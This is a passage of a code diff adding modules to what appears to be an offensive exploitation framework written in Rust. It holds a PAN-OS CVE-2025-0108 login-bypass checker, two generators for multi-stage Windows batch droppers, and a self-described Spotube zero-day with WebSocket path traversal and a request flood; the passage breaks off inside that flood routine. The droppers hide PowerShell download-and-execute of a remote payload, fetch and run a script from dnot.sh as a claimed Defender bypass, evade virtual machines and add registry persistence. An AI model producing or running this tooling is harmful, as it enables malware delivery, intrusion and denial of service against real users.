let path = "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css";
|
||||
|
||||
for proto in &protocols {
|
||||
if let Some(base_url) = normalize_url(url, port, proto) {
|
||||
let full_url = format!("{}{}", base_url.trim_end_matches('/'), path);
|
||||
println!("{}", full_url);
|
||||
|
||||
let resp = client.get(&full_url).send().await;
|
||||
|
||||
if let Ok(res) = resp {
|
||||
let status = res.status();
|
||||
let body = res.text().await.unwrap_or_default();
|
||||
|
||||
if status.as_u16() == 200 && body.contains("Zero Touch Provisioning") {
|
||||
println!(
|
||||
"{}",
|
||||
format!("Find: {}:{} PanOS_CVE-2025-0108_LoginByPass!", url, port).red()
|
||||
);
|
||||
let _ = open_browser(&full_url);
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
|
||||
/// // Main entry point for auto-dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
banner();
|
||||
|
||||
let mut port_input = String::new();
|
||||
print!("Enter target port (default 443): ");
|
||||
io::stdout().flush()?;
|
||||
io::stdin().read_line(&mut port_input)?;
|
||||
let port: u16 = port_input.trim().parse().unwrap_or(443);
|
||||
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(10))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()?;
|
||||
|
||||
if target.ends_with(".txt") {
|
||||
let urls = read_file(target)?;
|
||||
for url in urls {
|
||||
let _ = check(&url, port, &client).await;
|
||||
}
|
||||
} else {
|
||||
let _ = check(target, port, &client).await;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,141 @@
|
||||
use anyhow::Result;
|
||||
use rand::{seq::SliceRandom, rng};
|
||||
use std::{
|
||||
fs,
|
||||
io::{self, Write},
|
||||
path::Path,
|
||||
};
|
||||
|
||||
use base64::{engine::general_purpose::STANDARD as BASE64_STANDARD, Engine as _};
|
||||
|
||||
fn prompt(prompt: &str) -> Result<String> {
|
||||
print!("{prompt}");
|
||||
io::stdout().flush()?;
|
||||
let mut buffer = String::new();
|
||||
io::stdin().read_line(&mut buffer)?;
|
||||
Ok(buffer.trim().to_string())
|
||||
}
|
||||
|
||||
fn base64_split_encode(url: &str) -> (String, String) {
|
||||
let mid = url.len() / 2;
|
||||
let (first, second) = url.split_at(mid);
|
||||
let first_encoded = BASE64_STANDARD.encode(first);
|
||||
let second_encoded = BASE64_STANDARD.encode(second);
|
||||
(first_encoded, second_encoded)
|
||||
}
|
||||
|
||||
fn write_payload_chain(stage1_path: &str, url: &str, output_ps1: &str) -> Result<()> {
|
||||
let mut symbols = vec![
|
||||
"测试", "測試", "例え", "例子", "示例", "示意", "探索", "神秘",
|
||||
"✂", "✈", "☎", "☂", "☯", "✉", "✏", "✒", "✇", "✈✂", "📌", "🎴", "項目", "数据", "样本", "分析",
|
||||
];
|
||||
let mut rng = rng();
|
||||
symbols.shuffle(&mut rng);
|
||||
|
||||
let s2 = symbols[0].to_string();
|
||||
let s3 = symbols[1].to_string();
|
||||
let s4 = symbols[2].to_string();
|
||||
let _f1 = symbols[3].to_string();
|
||||
let _f2 = symbols[4].to_string();
|
||||
let _f3 = symbols[5].to_string();
|
||||
|
||||
let base = Path::new(stage1_path).parent().unwrap_or_else(|| Path::new("."));
|
||||
let _stage1 = Path::new(stage1_path);
|
||||
let _stage2 = base.join(format!("{s2}.bat"));
|
||||
let _stage3 = base.join(format!("{s3}.bat"));
|
||||
let _stage4 = base.join(format!("{s4}.bat"));
|
||||
|
||||
// Encode URL
|
||||
let (part1_b64, part2_b64) = base64_split_encode(url);
|
||||
|
||||
// === Stage 1: writes stage2.bat ===
|
||||
let stage1_contents = format!(
|
||||
r#"@echo off
|
||||
setlocal EnableDelayedExpansion
|
||||
cls >nul
|
||||
:: Sleep random 1-4 seconds
|
||||
set /a RND=1+%RANDOM%%%4
|
||||
timeout /t %RND% /nobreak >nul
|
||||
|
||||
:: Five explicit 1-second sleeps at stage 1
|
||||
timeout /t 1 /nobreak >nul
|
||||
timeout /t 1 /nobreak >nul
|
||||
timeout /t 1 /nobreak >nul
|
||||
timeout /t 1 /nobreak >nul
|
||||
timeout /t 1 /nobreak >nul
|
||||
|
||||
echo Creating next stage...
|
||||
(
|
||||
echo @echo off
|
||||
echo setlocal EnableDelayedExpansion
|
||||
echo cls ^>nul
|
||||
echo set /a RND=1+%%RANDOM%%%%4
|
||||
echo timeout /t %%RND%% /nobreak ^>nul
|
||||
|
||||
:: Five explicit 1-second sleeps for stage 2
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
|
||||
echo echo Creating next stage...
|
||||
echo (
|
||||
echo @echo off
|
||||
echo setlocal EnableDelayedExpansion
|
||||
echo cls ^>nul
|
||||
echo set /a RND=1+%%RANDOM%%%%4
|
||||
echo timeout /t %%RND%% /nobreak ^>nul
|
||||
|
||||
:: Five explicit 1-second sleeps for stage 3
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
echo timeout /t 1 /nobreak ^>nul
|
||||
|
||||
echo echo Creating final stage...
|
||||
echo (
|
||||
echo @echo off
|
||||
echo setlocal EnableDelayedExpansion
|
||||
echo cls ^>nul
|
||||
echo set /a RND=1+%%RANDOM%%%%4
|
||||
echo timeout /t %%RND%% /nobreak ^>nul
|
||||
echo set part1={part1_b64}
|
||||
echo set part2={part2_b64}
|
||||
echo powershell -WindowStyle Hidden -Command ^^"
|
||||
echo $p1 = $env:part1;
|
||||
echo $p2 = $env:part2;
|
||||
echo $u = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p1)) + [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p2));
|
||||
echo Invoke-WebRequest -Uri $u -OutFile '{output_ps1}';
|
||||
echo Start-Process -WindowStyle Hidden powershell -ArgumentList '-ExecutionPolicy Bypass -File {output_ps1}';
|
||||
echo ^^"
|
||||
echo exit
|
||||
echo ) > "{s4}"
|
||||
echo timeout /t 600 /nobreak ^>nul :: Wait 10 minutes before stage 4
|
||||
echo start "" /B "{s4}" :: Launch stage 4 in background
|
||||
echo exit
|
||||
echo ) > "{s3}"
|
||||
echo start "" /B "{s3}" :: Launch stage 3 in background
|
||||
echo exit
|
||||
) > "{s2}"
|
||||
|
||||
start "" /B "{s2}" :: Launch stage 2 in background
|
||||
exit
|
||||
"#);
|
||||
|
||||
fs::write(_stage1, stage1_contents)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn run(_target: &str) -> Result<()> {
|
||||
let stage1_name = prompt("[+] Output BAT filename (stage 1): ")?;
|
||||
let github_url = prompt("[+] GitHub raw URL of PowerShell script: ")?;
|
||||
let ps1_output = prompt("[+] Name to save .ps1 as on victim: ")?;
|
||||
|
||||
write_payload_chain(&stage1_name, &github_url, &ps1_output)?;
|
||||
println!("[+] Stage 1 payload written to {stage1_name}");
|
||||
println!("[*] Chain will execute real .bat files one after the other with random jitter.");
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,2 @@
|
||||
pub mod narutto_dropper;
|
||||
pub mod batgen;
|
||||
@@ -0,0 +1,320 @@
|
||||
// == Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper (Interactive, Hardened) ==
|
||||
// // User provides: PS1 download link, final batch name, output .ps1 name
|
||||
// // All temp/var names randomized, batch logic randomized, anti-VM checks
|
||||
|
||||
use rand::prelude::*;
|
||||
use anyhow::Result;
|
||||
use rand::{rng, seq::SliceRandom, Rng};
|
||||
use std::io::{self, Write as IoWrite};
|
||||
use tokio::fs::File as TokioFile;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
|
||||
// // Prints a welcome message for the Naruto 3-stage poly-morphic dropper
|
||||
pub fn print_welcome_naruto() {
|
||||
println!(r#"
|
||||
======================== WELCOME TO NARUTO ========================
|
||||
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⣴⣶⣶⣶⣶⣦⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||
⠀⠀⠀⠀⠀⠀⣠⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣄⠀⠀⠀⠀⠀⠀
|
||||
⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⠏⠁⠀⢶⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀
|
||||
⠀ ⢀⣾⣿⣿⣿⣿⣿⣿⡿⠿⣿⡇⠀⠀⠀⣿⠿⢿⣿⣿⣿⣿⣿⣿⣷⡀⠀⠀
|
||||
⠀⢠⣾⣿⣿⣿⣿⣿⡿⠋⣠⣴⣿⣷⣤⣤⣾⣿⣦⣄⠙⢿⣿⣿⣿⣿⣿⣷⡄⠀
|
||||
⠀⣼⣿⣿⣿⣿⣿⡏⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡀⢹⣿⣿⣿⣿⣿⣧⠀
|
||||
⢰⣿⣿⣿⣿⣿⡿⠀⣾⣿⣿⣿⣿⠟⠉⠉⠻⣿⣿⣿⣿⣷⠀⢿⣿⣿⣿⣿⣿⡆
|
||||
⢸⣿⣿⣿⣿⣿⣇⣰⣿⣿⣿⣿⡇⠀⠀⠀⠀⢸⣿⣿⣿⣿⣆⣸⣿⣿⣿⣿⣿⡇
|
||||
⠸⣿⣿⣿⡿⣿⠟⠋⠙⠻⣿⣿⣿⣦⣀⣀⣴⣿⣿⣿⣿⠛⠙⠻⣿⣿⣿⣿⣿⠇
|
||||
⠀⢻⣿⣿⣧⠉⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠈⣿⣿⣿⡟⠀
|
||||
⠀⠘⢿⣿⣿⣷⣦⣤⣴⣾⠛⠻⢿⣿⣿⣿⣿⡿⠟⠋⣿⣦⣤⠀⣰⣿⣿⡿⠃⠀
|
||||
⠀⠀⠈⢿⣿⣿⣿⣿⣿⣿⣷⣶⣤⣄⣈⣁⣠⣤⣶⣾⣿⣿⣷⣾⣿⣿⡿⠁⠀⠀
|
||||
⠀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀⠀
|
||||
⠀⠀⠀⠀⠀⠀⠙⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠋⠀⠀⠀⠀⠀⠀
|
||||
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠛⠻⠿⠿⠿⠿⠟⠛⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀
|
||||
|
||||
Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper Generator
|
||||
------------------------------------------------------------------
|
||||
- Prompts for: Powershell payload download URL, output names
|
||||
- Generates a highly randomized batch dropper
|
||||
- All variable, file, registry names are randomized per build
|
||||
- Drops multi-stage .bat with anti-VM/anti-sandbox tricks
|
||||
- Final stage ensures persistence via HKCU registry
|
||||
- Decoy files and diagnostic noise included for stealth
|
||||
- 100% open source and ready for advanced red-team ops
|
||||
|
||||
==================================================================
|
||||
"#);
|
||||
}
|
||||
// == Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper (Interactive, Hardened) ==
|
||||
// // - User provides: PS1 download link, final batch name, output .ps1 name
|
||||
// // - All temp/var names randomized, batch logic randomized, anti-VM checks
|
||||
|
||||
|
||||
/// // List of random banner phrases for added entropy
|
||||
const BANNERS: &[&str] = &[
|
||||
"診断ユーティリティを実行中...",
|
||||
"ネットワーク診断開始...",
|
||||
"管理者用システムテスト...",
|
||||
"環境チェック実行中...",
|
||||
"お待ちください。検証中...",
|
||||
];
|
||||
|
||||
/// // Decoy files for download/cover noise
|
||||
const DECOY_FILES: &[&str] = &[
|
||||
"readme.txt", "patchnote.docx", "system_log.csv", "scaninfo.html", "update.pdf",
|
||||
"changelog.rtf", "debug.ini", "license.txt", "upgrade.bin", "notes.xml",
|
||||
];
|
||||
|
||||
|
||||
|
||||
/// // Generate a random batch/var/filename, e.g. DIAG_AbX_7381
|
||||
fn rand_var_name(base: &str) -> String {
|
||||
let mut rng = rng();
|
||||
let charset: Vec<char> = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".chars().collect();
|
||||
let mut name = base.to_string();
|
||||
for _ in 0..3 { name.push(*charset.choose(&mut rng).unwrap()); }
|
||||
name.push('_');
|
||||
name.push_str(&rng.random_range(1000..9999).to_string());
|
||||
name
|
||||
}
|
||||
|
||||
/// // Shuffles and emits randomized diagnostic steps (adds noise)
|
||||
fn shuffled_diag_steps() -> Vec<String> {
|
||||
let steps = vec![
|
||||
"netsh winsock show catalog ^>nul",
|
||||
"fsutil behavior query DisableDeleteNotify ^>nul",
|
||||
"dcomcnfg /32 ^>nul",
|
||||
"wevtutil qe Security \"/q:*[System[(EventID=4624)]]\" /f:text /c:1 ^>nul",
|
||||
"netstat -bno ^>nul",
|
||||
"route print ^>nul",
|
||||
"sc queryex type= service ^>nul",
|
||||
"wmic logicaldisk get caption,filesystem,freespace,size ^>nul",
|
||||
"wmic cpu get loadpercentage ^>nul",
|
||||
"systeminfo | findstr /C:\"Available Physical Memory\" ^>nul",
|
||||
"reg query HKLM\\SOFTWARE ^>nul",
|
||||
];
|
||||
let mut steps_mut = steps.clone();
|
||||
let mut rng = rng();
|
||||
steps_mut.shuffle(&mut rng);
|
||||
steps_mut
|
||||
.into_iter()
|
||||
.enumerate()
|
||||
.map(|(i, line)| format!("echo [INFO] Step {}...\n{}\ncall :SleepS 1", i+1, line))
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// // Pick a random banner for the batch
|
||||
fn rand_banner() -> &'static str {
|
||||
let mut rng = rng();
|
||||
BANNERS.choose(&mut rng).unwrap_or(&BANNERS[0])
|
||||
}
|
||||
|
||||
/// // Shuffle decoy filenames for the decoy download section
|
||||
fn shuffled_decoys() -> Vec<String> {
|
||||
let mut rng = rng();
|
||||
let mut files = DECOY_FILES.to_vec();
|
||||
files.shuffle(&mut rng);
|
||||
files.into_iter().map(|f| f.to_string()).collect()
|
||||
}
|
||||
|
||||
/// // Anti-VM/Sandbox check, batch version, with randomized variable names
|
||||
fn build_anti_vm_batch(rand_vars: &[&str]) -> String {
|
||||
format!(r#"
|
||||
REM Anti-VM/Sandbox (basic)
|
||||
set "{uptime}=0"
|
||||
for /f "skip=1" %%U in ('wmic os get LastBootUpTime ^| findstr /r /c:"^[0-9]"') do set "{uptime}=%%U"
|
||||
set "{uptime}=%{uptime}:~0,8%"
|
||||
REM Pause if booted < 3 min ago
|
||||
for /f %%A in ('wmic os get LastBootUpTime ^| findstr /r /c:"^[0-9]"') do set "{boot}=%%A"
|
||||
for /f "tokens=2 delims==." %%I in ('wmic OS Get LocalDateTime /value ^| findstr =') do set "{now}=%%I"
|
||||
set /a "{boot_time}=!{now}! - !{uptime}!"
|
||||
if !{boot_time}! lss 3000000 (
|
||||
echo [*] Recent boot detected. Pausing.
|
||||
call :SleepS 60
|
||||
)
|
||||
REM RAM check (<=2048 MB is suspicious)
|
||||
for /f "tokens=2 delims==" %%R in ('wmic ComputerSystem get TotalPhysicalMemory /value ^| findstr =') do set "{ram}=%%R"
|
||||
set /a "{ram_mb}=(!{ram}!)/1048576"
|
||||
if !{ram_mb}! lss 2048 (
|
||||
echo [*] Low RAM detected. Pausing.
|
||||
call :SleepS 120
|
||||
)
|
||||
REM Check VM drivers
|
||||
set "{vmfound}=0"
|
||||
for %%X in (VBOX VMWARE QEMU VIRTUAL) do (
|
||||
driverquery | findstr /I %%X >nul
|
||||
if not errorlevel 1 set "{vmfound}=1"
|
||||
)
|
||||
"#,
|
||||
uptime=rand_vars[0],
|
||||
boot=rand_vars[1],
|
||||
now=rand_vars[2],
|
||||
boot_time=rand_vars[3],
|
||||
ram=rand_vars[4],
|
||||
ram_mb=rand_vars[5],
|
||||
vmfound=rand_vars[6],
|
||||
)
|
||||
}
|
||||
|
||||
/// // == Stage 3 (PERSIST) ==
|
||||
fn build_stage3(ps1_name: &str, rand_vars: &[String]) -> String {
|
||||
format!(r#"
|
||||
@echo off
|
||||
REM Stage 3: Run dropped EXE (PowerShell payload) as .ps1 and set persistence
|
||||
setlocal enabledelayedexpansion
|
||||
REM Anti-VM/Sandbox
|
||||
{antivm}
|
||||
REM Run payload saved as .ps1 (actually an EXE)
|
||||
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "%%~dp0{ps1_name}" >nul 2>&1
|
||||
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "{reg}" /t REG_SZ /d "start \"\" /MIN \"%%~dp0{ps1_name}\"" /f
|
||||
REM Cleanup
|
||||
exit
|
||||
"#,
|
||||
ps1_name=ps1_name,
|
||||
reg=rand_vars[0],
|
||||
antivm=build_anti_vm_batch(&[&rand_vars[1], &rand_vars[2], &rand_vars[3], &rand_vars[4], &rand_vars[5], &rand_vars[6], &rand_vars[7]]),
|
||||
)
|
||||
}
|
||||
|
||||
/// // == Stage 2 ==
|
||||
fn build_stage2(
|
||||
url_exe: &str,
|
||||
ps1_name: &str,
|
||||
stage3_name: &str,
|
||||
rand_vars: &[String],
|
||||
) -> String {
|
||||
let stage3_content = build_stage3(ps1_name, rand_vars);
|
||||
let mut tpl = format!(r#"
|
||||
@echo off
|
||||
setlocal enabledelayedexpansion
|
||||
REM Anti-VM/Sandbox
|
||||
{antivm}
|
||||
REM Download EXE payload and save as .ps1
|
||||
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try {{ Invoke-WebRequest -Uri '{url_exe}' -OutFile '{ps1_name}' -UseBasicParsing }} catch {{ Start-BitsTransfer -Source '{url_exe}' -Destination '{ps1_name}' }}" >nul 2>&1
|
||||
REM Write Stage 3
|
||||
set "{stage3}=%~dp0{stage3_name}"
|
||||
("#,
|
||||
url_exe = url_exe,
|
||||
ps1_name = ps1_name,
|
||||
stage3_name = stage3_name,
|
||||
stage3 = rand_vars[8],
|
||||
antivm = build_anti_vm_batch(&[
|
||||
&rand_vars[9], &rand_vars[10], &rand_vars[11],
|
||||
&rand_vars[12], &rand_vars[13], &rand_vars[14], &rand_vars[15]
|
||||
]),
|
||||
);
|
||||
for line in stage3_content.lines() {
|
||||
tpl.push_str(&format!(" echo {} \n", line.replace("%", "%%")));
|
||||
}
|
||||
tpl.push_str(&format!(
|
||||
r#") > "%{}%"
|
||||
REM Run Stage 3
|
||||
call "%{}%"
|
||||
REM Cleanup
|
||||
exit
|
||||
"#,
|
||||
rand_vars[8], rand_vars[8]
|
||||
));
|
||||
tpl
|
||||
}
|
||||
|
||||
/// // == Stage 1 ==
|
||||
fn build_stage1(
|
||||
url_exe: &str,
|
||||
decoy_urls: &[&str],
|
||||
ps1_name: &str,
|
||||
stage2_name: &str,
|
||||
stage3_name: &str,
|
||||
rand_vars: &[String],
|
||||
) -> String {
|
||||
let batch_var = rand_var_name("DIAG");
|
||||
let random_sleep_lo = rng().random_range(1..4);
|
||||
let random_sleep_hi = rng().random_range(4..8);
|
||||
let banner = rand_banner();
|
||||
let mut tpl = format!(r#"@echo off
|
||||
setlocal enabledelayedexpansion
|
||||
REM Defender Bypass
|
||||
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {{ [ScriptBlock]::Create((irm https://dnot.sh/)) | Invoke-Command }}" >nul 2>&1
|
||||
:SleepS
|
||||
ping -n %1 127.0.0.1 ^>nul
|
||||
goto :eof
|
||||
:SleepMS
|
||||
powershell -Command "Start-Sleep -Milliseconds %1" ^>nul
|
||||
goto :eof
|
||||
title [管理者診断ユーティリティ - {banner}]
|
||||
color 0A
|
||||
set "{batch_var}_init=1"
|
||||
echo =====================================================
|
||||
echo 管理者用ネットワーク/システム診断ユーティリティ
|
||||
echo =====================================================
|
||||
echo [+] {banner}
|
||||
call :SleepS {random_sleep_lo}
|
||||
"#,
|
||||
banner = banner,
|
||||
batch_var = batch_var,
|
||||
random_sleep_lo = random_sleep_lo,
|
||||
);
|
||||
tpl.push_str(&build_anti_vm_batch(&[
|
||||
&rand_vars[16], &rand_vars[17], &rand_vars[18],
|
||||
&rand_vars[19], &rand_vars[20], &rand_vars[21], &rand_vars[22]
|
||||
]));
|
||||
for line in shuffled_diag_steps() {
|
||||
tpl.push_str(&format!("{}\n", line));
|
||||
}
|
||||
tpl.push_str(&format!("set /a mainDelay=(%RANDOM% %% {random_sleep_hi}) + {random_sleep_lo}\necho [INFO] ステージ準備... (%mainDelay% 秒後)\ncall :SleepS %mainDelay%\n\n",
|
||||
random_sleep_hi = random_sleep_hi,
|
||||
random_sleep_lo = random_sleep_lo,
|
||||
));
|
||||
let decoys = shuffled_decoys();
|
||||
for (i, decoy_name) in decoys.iter().enumerate().take(decoy_urls.len()) {
|
||||
let url = decoy_urls[i];
|
||||
tpl.push_str(&format!(
|
||||
"echo [*] Downloading decoy: {decoy_name}\npowershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command \"try {{ Invoke-WebRequest -Uri '{url}' -OutFile '{decoy_name}' -UseBasicParsing }} catch {{}}\" ^>nul\ncall :SleepS 2\n",
|
||||
url = url, decoy_name = decoy_name
|
||||
));
|
||||
}
|
||||
let stage2_content = build_stage2(url_exe, ps1_name, stage3_name, rand_vars);
|
||||
tpl.push_str(&format!("set \"{stage2}=%~dp0{stage2_name}\"\n(", stage2 = rand_vars[23], stage2_name = stage2_name));
|
||||
for line in stage2_content.lines() {
|
||||
tpl.push_str(&format!(" echo {} \n", line.replace("%", "%%")));
|
||||
}
|
||||
tpl.push_str(&format!(
|
||||
") > \"%{}%\"\nREM Run Stage 2\ncall \"%{}%\"\nREM Cleanup\nexit\n",
|
||||
rand_vars[23], rand_vars[23]
|
||||
));
|
||||
tpl
|
||||
}
|
||||
|
||||
/// // Prompt user, fallback to default if empty input
|
||||
fn prompt(msg: &str, default: Option<&str>) -> String {
|
||||
print!("{}{}: ", msg, default.map_or("".to_string(), |d| format!(" [{}]", d)));
|
||||
io::stdout().flush().unwrap();
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input).unwrap();
|
||||
let value = input.trim();
|
||||
if value.is_empty() {
|
||||
default.unwrap_or("").to_string()
|
||||
} else {
|
||||
value.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// // == RouterSploit-style async entry point ==
|
||||
pub async fn run(_target: &str) -> Result<()> {
|
||||
print_welcome_naruto();
|
||||
let url_exe = prompt("URL of PowerShell payload (EXE, will be saved as .ps1)", Some("https://yourdomain.com/payload.exe"));
|
||||
let out_name = prompt("Final output batch filename", Some("3stage_dropper.bat"));
|
||||
let ps1_name = prompt("Name to save downloaded EXE as (with .ps1 extension)", Some("payload.ps1"));
|
||||
let stage2_name = rand_var_name("stg2");
|
||||
let stage3_name = rand_var_name("stg3");
|
||||
let rand_vars: Vec<String> = (0..24).map(|i| rand_var_name(&format!("v{}", i))).collect();
|
||||
let decoy_urls = vec![
|
||||
"https://www.example.com/readme.txt",
|
||||
"https://www.example.com/license.txt",
|
||||
"https://www.example.com/update.pdf",
|
||||
];
|
||||
let script = build_stage1(&url_exe, &decoy_urls, &ps1_name, &stage2_name, &stage3_name, &rand_vars);
|
||||
let mut file = TokioFile::create(&out_name).await?;
|
||||
file.write_all(script.as_bytes()).await?;
|
||||
file.flush().await?;
|
||||
println!("[+] 3-stage chain-linked dropper written to: {}", out_name);
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
use anyhow::{Result, Context};
|
||||
use reqwest;
|
||||
|
||||
/// A basic demonstration exploit that checks if a specific endpoint is "vulnerable"
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Running sample_exploit against target: {}", target);
|
||||
|
||||
let url = format!("http://{}/vulnerable_endpoint", target);
|
||||
let resp = reqwest::get(&url)
|
||||
.await
|
||||
.context("Failed to send request")?
|
||||
.text()
|
||||
.await
|
||||
.context("Failed to read response")?;
|
||||
|
||||
if resp.contains("Vulnerable!") {
|
||||
println!("[+] Target is vulnerable!");
|
||||
} else {
|
||||
println!("[-] Target does not appear to be vulnerable.");
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod spotube;
|
||||
@@ -0,0 +1,231 @@
|
||||
//// src/modules/exploits/spotube/spotube_remote.rs
|
||||
//// src/modules/exploits/spotube/spotube.rs
|
||||
//// made by me suicidal teddy my first ever zero day exploit
|
||||
//// no auth when you use api and can be excuted locally
|
||||
//// src/modules/exploits/spotube/spotube.rs
|
||||
use anyhow::{Context, Result};
|
||||
use futures_util::{SinkExt, StreamExt};
|
||||
use reqwest::Client;
|
||||
use serde_json::json;
|
||||
use std::collections::HashMap;
|
||||
use std::io::{self, Write};
|
||||
use tokio::time::{sleep, Duration};
|
||||
use tokio_tungstenite::connect_async;
|
||||
use tokio_tungstenite::tungstenite::Message;
|
||||
|
||||
// //// // Custom headers to emulate BurpSuite-style browser requests
|
||||
fn browser_headers(host: &str, port: &str) -> HashMap<String, String> {
|
||||
let mut headers = HashMap::new();
|
||||
headers.insert("Accept-Language".into(), "en-US,en;q=0.9".into());
|
||||
headers.insert("Upgrade-Insecure-Requests".into(), "1".into());
|
||||
headers.insert(
|
||||
"User-Agent".into(),
|
||||
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 \
|
||||
(KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
|
||||
.into(),
|
||||
);
|
||||
headers.insert(
|
||||
"Accept".into(),
|
||||
"text/html,application/xhtml+xml,application/xml;q=0.9,\
|
||||
image/avif,image/webp,image/apng,*/*;q=0.8,\
|
||||
application/signed-exchange;v=b3;q=0.7"
|
||||
.into(),
|
||||
);
|
||||
headers.insert("Accept-Encoding".into(), "gzip, deflate, br".into());
|
||||
headers.insert("Connection".into(), "keep-alive".into());
|
||||
headers.insert("Host".into(), format!("{}:{}", host, port));
|
||||
headers
|
||||
}
|
||||
|
||||
// //// // Sends the GET request to the Spotube endpoint with custom headers
|
||||
async fn execute(host: &str, port: &str, path: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(std::time::Duration::from_secs(5))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let url = format!("http://{}:{}{}", host, port, path);
|
||||
let headers = browser_headers(host, port);
|
||||
|
||||
let mut request = client.get(&url);
|
||||
for (key, value) in headers {
|
||||
request = request.header(&key, &value);
|
||||
}
|
||||
|
||||
let response = request.send().await.context("Request failed")?;
|
||||
let status = response.status();
|
||||
let body = response.text().await.unwrap_or_default();
|
||||
|
||||
println!(
|
||||
"{} → {} {}",
|
||||
path,
|
||||
status.as_u16(),
|
||||
status.canonical_reason().unwrap_or("Unknown")
|
||||
);
|
||||
println!("{}", body.trim());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// //// // Sends a malicious 'load' event over WS with a track name containing ../
|
||||
async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
|
||||
// prompt for malicious filename
|
||||
print!("Enter malicious filename (e.g. ../evil.sh): ");
|
||||
io::stdout().flush()?;
|
||||
let mut name = String::new();
|
||||
io::stdin().read_line(&mut name)?;
|
||||
let malicious_name = {
|
||||
let t = name.trim();
|
||||
if t.is_empty() { "../evil.sh" } else { t }
|
||||
};
|
||||
|
||||
// prompt for fake track ID
|
||||
print!("Enter fake track ID (e.g. INJECT1): ");
|
||||
io::stdout().flush()?;
|
||||
let mut tid = String::new();
|
||||
io::stdin().read_line(&mut tid)?;
|
||||
let track_id = {
|
||||
let t = tid.trim();
|
||||
if t.is_empty() { "INJECT1" } else { t }
|
||||
};
|
||||
|
||||
// prompt for codec extension
|
||||
print!("Enter codec extension (e.g. mp3): ");
|
||||
io::stdout().flush()?;
|
||||
let mut cd = String::new();
|
||||
io::stdin().read_line(&mut cd)?;
|
||||
let codec = {
|
||||
let t = cd.trim();
|
||||
if t.is_empty() { "mp3" } else { t }
|
||||
};
|
||||
|
||||
let payload = json!({
|
||||
"type": "load",
|
||||
"data": {
|
||||
"tracks": [
|
||||
{
|
||||
"name": malicious_name,
|
||||
"artists": { "asString": "" },
|
||||
"sourceInfo": { "id": track_id },
|
||||
"codec": { "name": codec }
|
||||
}
|
||||
]
|
||||
}
|
||||
});
|
||||
|
||||
let ws_url = format!("ws://{}:{}/ws", host, port);
|
||||
println!("Connecting to {} …", ws_url);
|
||||
|
||||
let (ws_stream, _) = connect_async(&ws_url)
|
||||
.await
|
||||
.context("WebSocket connection failed")?;
|
||||
let (mut write, _) = ws_stream.split();
|
||||
|
||||
let msg_text = payload.to_string();
|
||||
write
|
||||
.send(Message::Text(msg_text.clone().into()))
|
||||
.await
|
||||
.context("Failed to send WebSocket message")?;
|
||||
|
||||
println!("▶️ Malicious load payload sent:");
|
||||
println!("{}", serde_json::to_string_pretty(&payload)?);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// //// // Floods the given endpoint with `count` rapid requests (with optional delay).
|
||||
async fn dos_flood(host: &str, port: &str, path: &str, count: usize, delay: f64) -> Result<()> {
|
||||
println!("⚠️ Flooding {} {} times (delay {}s)…", path, count, delay);
|
||||
